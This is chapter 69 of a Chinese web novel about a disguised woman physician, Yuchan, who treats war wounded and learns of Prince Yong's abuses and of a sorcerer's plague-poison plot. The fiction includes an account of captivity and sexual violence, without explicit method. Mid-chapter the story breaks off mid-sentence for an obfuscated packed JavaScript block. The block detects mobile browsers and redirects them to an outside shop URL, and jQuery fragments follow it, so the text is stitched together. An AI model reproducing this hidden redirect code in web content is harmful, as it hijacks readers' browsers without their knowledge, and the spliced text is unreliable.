69. 阴差阳错
作品:《吾妻阿婵》 玉婵也不气馁,主动过去给那老大夫打下手。
后来老大夫见她临危不乱,动作利索,包扎伤口也很是熟练,便放下心来将更多的伤兵交给她单独医治。
玉婵刚给一个左手受了刀伤的伤兵包扎好伤口,一回头见两个士兵抬着一个胸口插着一支箭矢的伤兵过来了。
那伤兵看上去很年轻,胸口的血还没止住,面白如纸,身子蜷缩在一起,看上去很痛苦。
那两个士兵将他抬到老大夫面前,恳求老大夫立刻帮他治疗。
“求求您救救他!他是家里的独子,他……他今年才十六岁呀。”
老大夫正在给一个肠穿肚烂的士兵缝针,闻言有些无奈地望向玉婵道:“小兄弟,这孩子交给你行不行?”
玉婵忙点头,叫那两个士兵将人抬到自己这边。
那两个士兵对视一眼却忍不住质疑道:“人命关天的事,小先生要是拿不准就千万莫逞能。”
玉婵沉下脸来对他们道:“没有把握的事我也不会答应,再耽搁下去,这位小兄弟的性命恐怕就真要保不住了。”
老大夫也在一旁催促:“是啊,你们别看他年纪小,医术却是老道,快将人送过去吧。”
两名士兵无法只得依言照做。
玉婵命他们将人侧着身放在平地上,小心翼翼剪开身上的衣裳,仔细查看伤口,发现他伤在左胸第二根肋骨边缘,向下一寸便是心脏,因此在取箭时需格外当心。
光是取箭就持续了半炷香之久,箭取出来后,伤口开始汩汩地往外冒血,玉婵快速地为他撒上一层止血散,为他缝合伤口。
最后血止住了,那小兵醒了过来,睁开眼朝玉婵感激地笑了笑又沉沉睡了过去。
两个士兵都慌了神,忙问道:“他这是怎么了?”
玉婵替他把了脉,见他脉象逐渐恢复平稳,也长长松了一口气。
“没事,他只是身子太虚,睡了过去,喂他些糖水,好好照料着,过几个时辰就会醒了。”
两人闻言连声道谢。
老大夫那头也忙完了,回头朝她露出一个赞赏的笑,两人又继续忙起来。
玉婵发现这些伤兵除了战场上常见的刀箭伤,多为攻城时城墙上掉落的火球、重物所伤。
她将伤药发放给那些没有受伤的士兵,教他们如何处理基础的刀箭伤,请他们帮忙,至于那些伤重的只能由大夫亲手医治。
一日下来,玉婵除了晌午时候为了保存体力坐下来喝了水嚼了块干饼,其他时候几乎都是忙得脚不沾地,连口水都来不及喝。
一直忙到月上梢头,终于在所有人的共同努力下安置好了所有的伤兵。
玉婵去河边打水时忽然看见自河流上游漂下来一团黑影,仔细一看竟是个人,忙叫南烛一起将人救上来。
那是一个伤痕累累且衣不蔽体的美貌女子,她也是命不该绝,落水后抓着河中一块浮木漂到了下游,呛了些水,好在还有一口气吊着,玉婵立刻施针将人救了过来。
那女子睁开眼,看见面前的陌生人突然开始奋力挣扎,口中大喊着:“别碰我,别碰我!”
玉婵连忙轻声安抚:“别怕!我是大夫,我只是想帮你治伤。”
那女子闻言仍是一脸惊恐地睁大了眼死死盯着她:“别过来,别过来!”
玉婵微微一愣,连忙抬手指了指自己的喉咙道:“别怕,别怕,我是女子。”
那女子这才听了进去,两只眼睛一瞬不瞬地盯着她的喉咙,口中喃喃重复着“女子”两个字,两眼一翻又昏死了过去。
玉婵剥开她身上本就破碎不堪的衣裳,看到她除了脖子和手臂,身上从头到脚都有类似于鞭子抽打的痕迹,心中对她很是同情,替她上完药包扎好伤口,取了一套自己的衣裳重新为她穿好,勉强喂她喝了些汤水,亲自守了她一夜。
翌日清晨那女子醒了,不光醒了还告诉了她一个惊天的秘密。
“求您一定要设法帮我带个话给魏大将军,就说雍王那个老东西受了很重的伤,一定不要放过他。”
玉婵诧异道:“你是如何得知的?”
那女子声泪俱下地对她吐露了自己悲惨的身世。
她姓姚名唤英娘,本是夔州人士,父兄在城中经营着一家酒楼,本也称得上家境优渥、一家和乐。
谁承想一次她随母亲到街上采买,撞见了雍王府的刁奴,那刁奴见她生得有几分颜色,便有心将她举荐到主子面前讨个赏,问她姓名来历。
她们母女二人不敢不答,谁承想当天夜里一顶小轿便抬到了她家门口,将她强行带去了雍王府。
她的父兄前去要人,也被打成重伤赶了出去,回去不久便丢了性命,老母亲四处求告无门,竟也含恨而终了,如今家中只剩下寡嫂和一个尚在襁褓中的侄儿。
“我入王府后被他们关在一座不见天日的阁楼中,那老东西以我家人为要挟,要我对他言听计从。后来我才知晓那座名唤揽月阁的楼中关着近百名像我一样被强抢入府的姑娘,他每夜到那阁楼中寻欢作乐,想尽法子折磨着那些可怜的女子,叫她们求生不得求死不能。在那里我几乎夜夜都能听见凄厉的哭喊声,那些受不住的便被凌辱至死,早晨草席一卷被人拖去了乱葬岗。我曾多次想过……想过一死了之,可父母兄长大仇未报叫我如何能死得安心……”
想到那些非人的经历,英娘早已泣不成声。
玉婵两只手紧紧攥着衣角,整个人也止不住地轻轻颤抖,动了动唇也不知该如何安慰她。
想到之前在她身上看到的那些伤,难以想象她究竟遭受过多少非人的凌辱。
英娘却突然收了泪,红着眼一把抓住她的胳膊道:“不过现在魏大将军来了,那老东西的死期也该到了。昨日他战败归来,我趁着近身侍奉的机会在他胸口狠狠扎了一刀。请姑娘一定要设法将这个消息带给魏大将军,请他们一定不要放过他。还有就是要抓住他身旁一个穿黑袍的男人,他们都叫他仙师。他会制毒,前几日我听见他们密谋,说是要制作一种投放到水源中便可制造出瘟疫的毒药。请大将军一定要阻止他,如果可以救救那些可怜的女子……”
玉婵闻言也不耽搁,将她安置好,便立刻出门去寻魏钦。
这两日,人们总能在城中各处伤兵营和流民安置所见到这位少将军的身影。
玉婵趁着他到伤兵营中慰问的机会,请求相见,因她这临时军医的身份很快便见到了他。
魏钦的相貌随了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724787|137638||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他的父亲,生得剑眉星目、中正英挺,从头到脚正气凛然,不怒而威,令人一见便心生敬畏。
玉婵将自己在河边救起英娘和英娘告知她的事全都如实相告。
魏钦听罢也极为震惊,派人查实英娘所言非虚后便立刻有了行动。
再说雍王一行陵州城破后一路向南逃回华州,立刻便命人封锁城门,强占了那城郊一处富户家的庄子,在里头闭门不出。
那处庄子里的守卫也颇是严密,这几日雍王跟前四大守卫几乎是片刻不离地守护在他身侧,除了一位贴身照料的老侍者唯有那位黑袍巫医能够近得了他的身。
而那位黑袍巫医近来也不知在忙些什么,得了那位王爷的首肯,从新入营的兵丁里挑了五十人,将他们关在一座独立的院落中,每日给他们好酒好菜地供养着。
起初大家都十分警惕,宁可挨饿也尽量不去碰那些人送进来的吃食。
可两日过后终于有人熬不住去碰了那些东西,起初还只是小心翼翼地吃些瓜果充饥,后来他们发现吃下后也并没有什么异常,于是便争先恐后地抢过那些食物大快朵颐起来。
毕竟对于一群饿了两三日,滴水未进的人而言,根本抵御不了那些泛着油脂的肉食和香甜的美酒佳酿的诱惑。
与其不吃东西被活活饿死,还不如做个饱死鬼。
而给他们送饭的人似乎也深谙他们的内心,送去的饭菜一日比一日丰盛。
就在几乎所有人都开始抱着一丝侥幸吃下那些饭菜的两日后,这群人身上渐渐出现了一些古怪的状况。
最开始是呕吐腹泻,后来开始发热、起疹子,最后他们的皮肤开始溃烂流脓,四肢抽搐。
并且人数也从开始的一个两个变成后来的十个二十个,情况越来越糟糕,渐渐地那些没有出现症状或是症状较轻的人也开始恐慌了。
他们用力撞击院子的大门,想要从这座充满着死亡气息的院落中逃出去,可惜这时候他们才发现关押他们的这座院子非但院墙砌得比别处高上一倍,那大门也十分坚固,无论他们怎么撞击也是纹丝不动。
更令他们绝望的是从他们当中有人出现症状的那日起,那些人便不再给他们食物和水了,这样下去他们就算没有病死也会被活活饿死。
如此又过了三日,几乎所有人都被病痛和饥饿折磨得面目全非,奄奄一息时,那座小院的大门却突然被人打开了。
一个穿黑袍的男人带着两名侍卫走了进来。
黑袍男子脸上蒙着几层厚厚的面纱,从头到脚都严严实实裹在一身黑袍里。那两名侍卫几乎也是同样的装扮。
在院门打开的一刹那,一股潮湿恶臭的气息扑面而来,两个侍卫都忍不住往后撤退了几步,伏在大树底下呕吐不止。
黑袍男人却丝毫没有后退,相反,他兴致勃勃地走到那些横七竖八倒在地上的士兵中间,视线自他们身上一一扫过,眼底泛起兴奋的光。
这些人都是他精挑细选选出来的,几日前他们还是那样的年轻力壮,短短几日便变成了如此一副羸弱枯瘦的模样。
这就说明他的计划进行得十分顺利,他兴奋得双手都在抑制不住地微微颤抖,双目泛光地欣赏着自己亲手创造的这些杰作。